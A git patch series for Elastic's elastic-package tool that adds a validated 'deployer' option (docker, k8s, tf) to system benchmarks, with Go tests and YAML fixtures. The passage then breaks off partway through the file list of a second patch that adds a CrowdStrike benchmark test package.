From 40583d0b11186820011f4e49356ffd30d0fd8cd7 Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Tue, 24 Feb 2026 16:23:02 +0530
Subject: [PATCH 01/19] Add multiple service deployer to benchmarks

---
 internal/benchrunner/runners/system/runner.go | 15 ++---
 .../benchrunner/runners/system/scenario.go    |  9 +++
 .../runners/system/scenario_test.go           | 63 +++++++++++++++++++
 .../system/testdata/empty_deployer.yml        |  1 +
 .../system/testdata/invalid_deployer.yml      |  1 +
 .../system/testdata/valid_deployer_docker.yml |  1 +
 .../system/testdata/valid_deployer_k8s.yml    |  1 +
 .../system/testdata/valid_deployer_tf.yml     |  1 +
 8 files changed, 85 insertions(+), 7 deletions(-)
 create mode 100644 internal/benchrunner/runners/system/scenario_test.go
 create mode 100644 internal/benchrunner/runners/system/testdata/empty_deployer.yml
 create mode 100644 internal/benchrunner/runners/system/testdata/invalid_deployer.yml
 create mode 100644 internal/benchrunner/runners/system/testdata/valid_deployer_docker.yml
 create mode 100644 internal/benchrunner/runners/system/testdata/valid_deployer_k8s.yml
 create mode 100644 internal/benchrunner/runners/system/testdata/valid_deployer_tf.yml

diff --git a/internal/benchrunner/runners/system/runner.go b/internal/benchrunner/runners/system/runner.go
index 62b9691a6f..5f61f4757b 100644
--- a/internal/benchrunner/runners/system/runner.go
+++ b/internal/benchrunner/runners/system/runner.go
@@ -154,7 +154,7 @@ func (r *runner) setUp(ctx context.Context) error {
 	}
 	r.svcInfo.OutputDir = outputDir
 
-	serviceName, err := r.serviceDefinedInConfig()
+	serviceName, deployerName, err := r.serviceDefinedInConfig()
 	if err != nil {
 		return fmt.Errorf("failed to determine if service is defined in config: %w", err)
 	}
@@ -163,7 +163,7 @@ func (r *runner) setUp(ctx context.Context) error {
 		// Just in the case service deployer is needed (input_service field), setup the service now so all the
 		// required information is available in r.svcInfo (e.g. hostname, port, etc).
 		// This info may be needed to render the variables in the configuration.
-		s, err := r.setupService(ctx, serviceName)
+		s, err := r.setupService(ctx, serviceName, deployerName)
 		if errors.Is(err, os.ErrNotExist) {
 			logger.Debugf("No service deployer defined for this benchmark")
 		} else if err != nil {
@@ -263,19 +263,19 @@ func (r *runner) setUp(ctx context.Context) error {
 	return nil
 }
 
-func (r *runner) serviceDefinedInConfig() (string, error) {
+func (r *runner) serviceDefinedInConfig() (string, string, error) {
 	// Read of the configuration to know if a service deployer is needed.
 	// No need to render any template at this point.
 	scenario, err := readRawConfig(r.options.BenchPath, r.options.BenchName)
 	if err != nil {
-		return "", err
+		return "", "", err
 	}
 
 	if scenario.Corpora.InputService == nil {
-		return "", nil
+		return "", "", nil
 	}
 
-	return scenario.Corpora.InputService.Name, nil
+	return scenario.Corpora.InputService.Name, scenario.Deployer, nil
 }
 
 func (r *runner) run(ctx context.Context) (report reporters.Reportable, err error) {
@@ -322,7 +322,7 @@ func (r *runner) run(ctx context.Context) (report reporters.Reportable, err erro
 	return createReport(r.options.BenchName, r.corporaFile, r.scenario, msum)
 }
 
-func (r *runner) setupService(ctx context.Context, serviceName string) (servicedeployer.DeployedService, error) {
+func (r *runner) setupService(ctx context.Context, serviceName string, deployerName string) (servicedeployer.DeployedService, error) {
 	stackVersion, err := r.options.KibanaClient.Version()
 	if err != nil {
 		return nil, fmt.Errorf("cannot request Kibana version: %w", err)
@@ -339,6 +339,7 @@ func (r *runner) setupService(ctx context.Context, serviceName string) (serviced
 		Type:                   servicedeployer.TypeBench,
 		StackVersion:           stackVersion.Version(),
 		DeployIndependentAgent: false,
+		DeployerName:           deployerName,
 	}
 	serviceDeployer, err := servicedeployer.Factory(opts)
 	if err != nil {
diff --git a/internal/benchrunner/runners/system/scenario.go b/internal/benchrunner/runners/system/scenario.go
index b919c69436..fd2550ded8 100644
--- a/internal/benchrunner/runners/system/scenario.go
+++ b/internal/benchrunner/runners/system/scenario.go
@@ -9,6 +9,8 @@ import (
 	"fmt"
 	"os"
 	"path/filepath"
+	"slices"
+	"strings"
 	"time"
 
 	"github.com/aymerick/raymond"
@@ -18,6 +20,8 @@ import (
 	"github.com/elastic/elastic-package/internal/servicedeployer"
 )
 
+var allowedDeployerNames = []string{"docker", "k8s", "tf"}
+
 type scenario struct {
 	Package             string                 `config:"package" json:"package"`
 	Description         string                 `config:"description" json:"description"`
@@ -30,6 +34,7 @@ type scenario struct {
 	BenchmarkTimePeriod time.Duration          `config:"benchmark_time_period" json:"benchmark_time_period"`
 	WaitForDataTimeout  *time.Duration         `config:"wait_for_data_timeout" json:"wait_for_data_timeout"`
 	Corpora             corpora                `config:"corpora" json:"corpora"`
+	Deployer            string                 `config:"deployer" json:"deployer"` // Name of the service deployer to use for this scenario.
 }
 
 type dataStream struct {
@@ -113,6 +118,10 @@ func readConfig(benchPath string, scenario string, svcInfo *servicedeployer.Serv
 	if err := cfg.Unpack(c); err != nil {
 		return nil, fmt.Errorf("can't unpack scenario configuration: %s: %w", configPath, err)
 	}
+	if c.Deployer != "" && !slices.Contains(allowedDeployerNames, c.Deployer) {
+		return nil, fmt.Errorf("invalid deployer name %q in system benchmark configuration file %q, allowed values are: %s",
+			c.Deployer, configPath, strings.Join(allowedDeployerNames, ", "))
+	}
 	return c, nil
 }
 
diff --git a/internal/benchrunner/runners/system/scenario_test.go b/internal/benchrunner/runners/system/scenario_test.go
new file mode 100644
index 0000000000..9802cb3792
--- /dev/null
+++ b/internal/benchrunner/runners/system/scenario_test.go
@@ -0,0 +1,63 @@
+// Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
+// or more contributor license agreements. Licensed under the Elastic License;
+// you may not use this file except in compliance with the Elastic License.
+
+package system
+
+import (
+	"testing"
+
+	"github.com/stretchr/testify/assert"
+	"github.com/stretchr/testify/require"
+)
+
+func TestReadConfig_DeployerValidation(t *testing.T) {
+	var testCases = []struct {
+		testName     string
+		scenarioName string
+		deployer     string
+		errContains  string
+	}{
+		{
+			testName:     "valid deployer docker",
+			scenarioName: "valid_deployer_docker",
+			deployer:     "docker",
+		},
+		{
+			testName:     "valid deployer k8s",
+			scenarioName: "valid_deployer_k8s",
+			deployer:     "k8s",
+		},
+		{
+			testName:     "valid deployer tf",
+			scenarioName: "valid_deployer_tf",
+			deployer:     "tf",
+		},
+		{
+			testName:     "invalid deployer",
+			scenarioName: "invalid_deployer",
+			errContains:  "invalid deployer name",
+		},
+		{
+			testName:     "empty deployer",
+			scenarioName: "empty_deployer",
+			deployer:     "",
+		},
+	}
+
+	t.Parallel()
+	for _, tc := range testCases {
+		t.Run(tc.testName, func(t *testing.T) {
+			scenario, err := readRawConfig("testdata", tc.scenarioName)
+
+			if tc.errContains != "" {
+				require.Error(t, err)
+				assert.Contains(t, err.Error(), tc.errContains)
+				return
+			}
+
+			require.NoError(t, err)
+			assert.Equal(t, tc.deployer, scenario.Deployer)
+		})
+	}
+}
diff --git a/internal/benchrunner/runners/system/testdata/empty_deployer.yml b/internal/benchrunner/runners/system/testdata/empty_deployer.yml
new file mode 100644
index 0000000000..8e0c4e38fa
--- /dev/null
+++ b/internal/benchrunner/runners/system/testdata/empty_deployer.yml
@@ -0,0 +1 @@
+description: "scenario with no deployer set"
diff --git a/internal/benchrunner/runners/system/testdata/invalid_deployer.yml b/internal/benchrunner/runners/system/testdata/invalid_deployer.yml
new file mode 100644
index 0000000000..b2bf1cabf2
--- /dev/null
+++ b/internal/benchrunner/runners/system/testdata/invalid_deployer.yml
@@ -0,0 +1 @@
+deployer: someinvaliddeployername
\ No newline at end of file
diff --git a/internal/benchrunner/runners/system/testdata/valid_deployer_docker.yml b/internal/benchrunner/runners/system/testdata/valid_deployer_docker.yml
new file mode 100644
index 0000000000..93fff6133d
--- /dev/null
+++ b/internal/benchrunner/runners/system/testdata/valid_deployer_docker.yml
@@ -0,0 +1 @@
+deployer: docker
\ No newline at end of file
diff --git a/internal/benchrunner/runners/system/testdata/valid_deployer_k8s.yml b/internal/benchrunner/runners/system/testdata/valid_deployer_k8s.yml
new file mode 100644
index 0000000000..524374f584
--- /dev/null
+++ b/internal/benchrunner/runners/system/testdata/valid_deployer_k8s.yml
@@ -0,0 +1 @@
+deployer: k8s
\ No newline at end of file
diff --git a/internal/benchrunner/runners/system/testdata/valid_deployer_tf.yml b/internal/benchrunner/runners/system/testdata/valid_deployer_tf.yml
new file mode 100644
index 0000000000..680cb597d2
--- /dev/null
+++ b/internal/benchrunner/runners/system/testdata/valid_deployer_tf.yml
@@ -0,0 +1 @@
+deployer: tf
\ No newline at end of file

From e6fcd1e4d62453f8b4f7f1ca91adacd3a6292cbe Mon Sep 17 00:00:00 2001
From: kcreddy <krish.reddy91@gmail.com>
Date: Tue, 24 Feb 2026 19:11:53 +0530
Subject: [PATCH 02/19] - Update testrunID as per system tests. - Mask secrets
 in reports. - Add test integration

---
 internal/benchrunner/runners/system/report.go |    60 +-
 internal/benchrunner/runners/system/runner.go |    19 +-
 .../_dev/benchmark/system/alert-benchmark.yml |    27 +
 .../system/alert-benchmark/config.yml         |   105 +
 .../system/alert-benchmark/fields.yml         |   208 +
 .../system/alert-benchmark/template.ndjson    |    97 +
 .../system/deploy/docker/docker-compose.yml   |    16 +
 .../system/deploy/docker/files/config.yml     |   128 +
 .../_dev/benchmark/system/deploy/tf/env.yml   |    10 +
 .../deploy/tf/files/fdr-0_aidmaster.log       |     5 +
 .../system/deploy/tf/files/fdr-0_userinfo.log |     1 +
 .../system/deploy/tf/files/fdr-sample.log     |   128 +
 .../_dev/benchmark/system/deploy/tf/main.tf   |   125 +
 .../benchmark/system/deploy/tf/outputs.tf     |     3 +
 .../benchmark/system/deploy/tf/variables.tf   |    48 +
 .../_dev/benchmark/system/fdr-benchmark.yml   |    26 +
 .../benchmark/system/fdr-benchmark/config.yml |     9 +
 .../benchmark/system/fdr-benchmark/fields.yml |     8 +
 .../system/fdr-benchmark/template.ndjson      |     5 +
 .../_dev/build/build.yml                      |     3 +
 .../_dev/build/docs/README.md                 |   319 +
 .../_dev/deploy/docker/docker-compose.yml     |    41 +
 .../_dev/deploy/docker/files/config-alert.yml |   475 +
 .../_dev/deploy/docker/files/config-host.yml  |   769 +
 .../docker/files/config-vulnerability.yml     |   643 +
 .../changelog.yml                             |   999 ++
 .../alert/_dev/benchmark/pipeline/config.yml  |     1 +
 .../_dev/benchmark/pipeline/test-alert.log    |    10 +
 .../alert/_dev/test/pipeline/test-alert.log   |    10 +
 .../pipeline/test-alert.log-expected.json     |  2033 +++
 .../_dev/test/pipeline/test-common-config.yml |     4 +
 .../_dev/test/policy/test-default.expected    |   134 +
 .../alert/_dev/test/policy/test-default.yml   |     9 +
 .../_dev/test/policy/test-traced.expected     |   134 +
 .../alert/_dev/test/policy/test-traced.yml    |    10 +
 .../_dev/test/system/test-common-config.yml   |    15 +
 .../alert/agent/stream/cel.yml.hbs            |   130 +
 .../elasticsearch/ingest_pipeline/default.yml |  2829 ++++
 .../data_stream/alert/fields/base-fields.yml  |    20 +
 .../data_stream/alert/fields/beats.yml        |     6 +
 .../data_stream/alert/fields/ecs.yml          |     9 +
 .../data_stream/alert/fields/fields.yml       |   620 +
 .../data_stream/alert/manifest.yml            |    94 +
 .../data_stream/alert/sample_event.json       |   364 +
 .../fdr/_dev/benchmark/pipeline/config.yml    |     1 +
 ...-fdr-data-protection-detection-summary.log |     1 +
 .../test-fdr-epp-detection-summary.log        |    13 +
 .../fdr/_dev/benchmark/pipeline/test-fdr.log  |   138 +
 .../pipeline/test-fdrv2-notmanaged.log        |     1 +
 .../_dev/benchmark/pipeline/test-linux.log    |     4 +
 .../_dev/benchmark/pipeline/test-macos.log    |    18 +
 .../_dev/benchmark/pipeline/test-windows.log  |   121 +
 .../data_stream/fdr/_dev/deploy/tf/env.yml    |    10 +
 .../_dev/deploy/tf/files/fdr-0_aidmaster.log  |     5 +
 .../_dev/deploy/tf/files/fdr-0_userinfo.log   |     1 +
 .../fdr/_dev/deploy/tf/files/fdr-sample.log   |   128 +
 .../data_stream/fdr/_dev/deploy/tf/main.tf    |   125 +
 .../data_stream/fdr/_dev/deploy/tf/outputs.tf |     3 +
 .../fdr/_dev/deploy/tf/variables.tf           |    48 +
 .../_dev/test/pipeline/test-common-config.yml |    12 +
 .../fdr/_dev/test/pipeline/test-data.log      |     5 +
 .../test/pipeline/test-data.log-expected.json |   487 +
 .../_dev/test/pipeline/test-fdr-cspm-ioa.log  |     1 +
 .../test-fdr-cspm-ioa.log-expected.json       |   125 +
 .../pipeline/test-fdr-cspm-iom-evaluation.log |     1 +
 ...-fdr-cspm-iom-evaluation.log-expected.json |   110 +
 .../_dev/test/pipeline/test-fdr-cspm-iom.log  |     2 +
 .../test-fdr-cspm-iom.log-expected.json       |   154 +
 ...-fdr-data-protection-detection-summary.log |     1 +
 ...ection-detection-summary.log-expected.json |   133 +
 .../test-fdr-epp-detection-summary.log        |    14 +
 ...dr-epp-detection-summary.log-expected.json |  2101 +++
 .../test-fdr-fim-rule-matched-enriched.log    |     4 +
 ...im-rule-matched-enriched.log-expected.json |   264 +
 .../test-fdr-fim-rule-matched-linux.log       |     4 +
 ...r-fim-rule-matched-linux.log-expected.json |   636 +
 .../test-fdr-fim-rule-matched-windows.log     |     2 +
 ...fim-rule-matched-windows.log-expected.json |   297 +
 .../test-fdr-lengthy-field-delete.log         |     1 +
 ...st-fdr-lengthy-field-delete.log-config.yml |     7 +
 ...fdr-lengthy-field-delete.log-expected.json |    80 +
 .../pipeline/test-fdr-lengthy-field-index.log |     1 +
 ...est-fdr-lengthy-field-index.log-config.yml |     6 +
 ...-fdr-lengthy-field-index.log-expected.json |    81 +
 .../fdr/_dev/test/pipeline/test-fdr.log       |   138 +
 .../test/pipeline/test-fdr.log-expected.json  | 12580 ++++++++++++++++
 .../test/pipeline/test-fdrv2-notmanaged.log   |     1 +
 .../test-fdrv2-notmanaged.log-expected.json   |    64 +
 .../fdr/_dev/test/pipeline/test-linux.log     |     5 +
 .../pipeline/test-linux.log-expected.json     |   556 +
 .../fdr/_dev/test/pipeline/test-macos.log     |    18 +
 .../pipeline/test-macos.log-expected.json     |  1764 +++
 .../_dev/test/pipeline/test-tags-formats.log  |     4 +
 .../test-tags-formats.log-expected.json       |    88 +
 .../fdr/_dev/test/pipeline/test-user-map.log  |     1 +
 .../pipeline/test-user-map.log-expected.json  |    43 +
 .../fdr/_dev/test/pipeline/test-windows.log   |   121 +
 .../pipeline/test-windows.log-expected.json   | 11696 ++++++++++++++
 .../_dev/test/policy/test-default.expected    |   250 +
 .../fdr/_dev/test/policy/test-default.yml     |    10 +
 .../_dev/test/system/test-default-config.yml  |    16 +
 .../fdr/agent/stream/aws-s3.yml.hbs           |   283 +
 .../fdr/agent/stream/stream.yml.hbs           |   104 +
 .../ingest_pipeline/categorize.yml            |  1875 +++
 .../ingest_pipeline/cspm_ioa.yml              |   273 +
 .../ingest_pipeline/cspm_iom.yml              |   503 +
 .../data_protection_detection_summary.yml     |   360 +
 .../elasticsearch/ingest_pipeline/default.yml |  2857 ++++
 .../ingest_pipeline/epp_detection_summary.yml |   260 +
 .../ingest_pipeline/fim_rule_matched.yml      |   397 +
 .../ingest_pipeline/inbound_network.yml       |   109 +
 .../ingest_pipeline/outbound_network.yml      |   109 +
 .../data_stream/fdr/fields/base-fields.yml    |    54 +
 .../data_stream/fdr/fields/ecs.yml            |   255 +
 .../data_stream/fdr/fields/fields.yml         |  2060 +++
 .../data_stream/fdr/manifest.yml              |   296 +
 .../data_stream/fdr/sample_event.json         |   213 +
 .../docs/README.md                            |  3543 +++++
 .../system_benchmark_crowdstrike/manifest.yml |   164 +
 .../validation.yml                            |     7 +
 120 files changed, 56923 insertions(+), 9 deletions(-)
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/alert-benchmark/template.ndjson
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/docker-compose.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/docker/files/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/env.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_aidmaster.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-0_userinfo.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/files/fdr-sample.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/outputs.tf
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/template.ndjson
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/docker-compose.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-alert.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-host.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/changelog.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/benchmark/pipeline/test-alert.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-alert.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/system/test-common-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/agent/stream/cel.yml.hbs
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/elasticsearch/ingest_pipeline/default.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/base-fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/beats.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/ecs.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/fields/fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/manifest.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/sample_event.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-data-protection-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr-epp-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdr.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-fdrv2-notmanaged.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-linux.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-macos.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/benchmark/pipeline/test-windows.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/main.tf
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/outputs.tf
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/variables.tf
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-common-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-data.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-ioa.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom-evaluation.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-cspm-iom.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-data-protection-detection-summary.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-epp-detection-summary.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-enriched.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-linux.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-fim-rule-matched-windows.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-delete.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr-lengthy-field-index.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdr.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-tags-formats.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-user-map.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-windows.log-expected.json
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.expected
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/policy/test-default.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/system/test-default-config.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/aws-s3.yml.hbs
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/agent/stream/stream.yml.hbs
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/categorize.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_ioa.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/cspm_iom.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/data_protection_detection_summary.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/inbound_network.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/outbound_network.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/base-fields.yml
 create mode 100644 test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/fields/ecs.yml
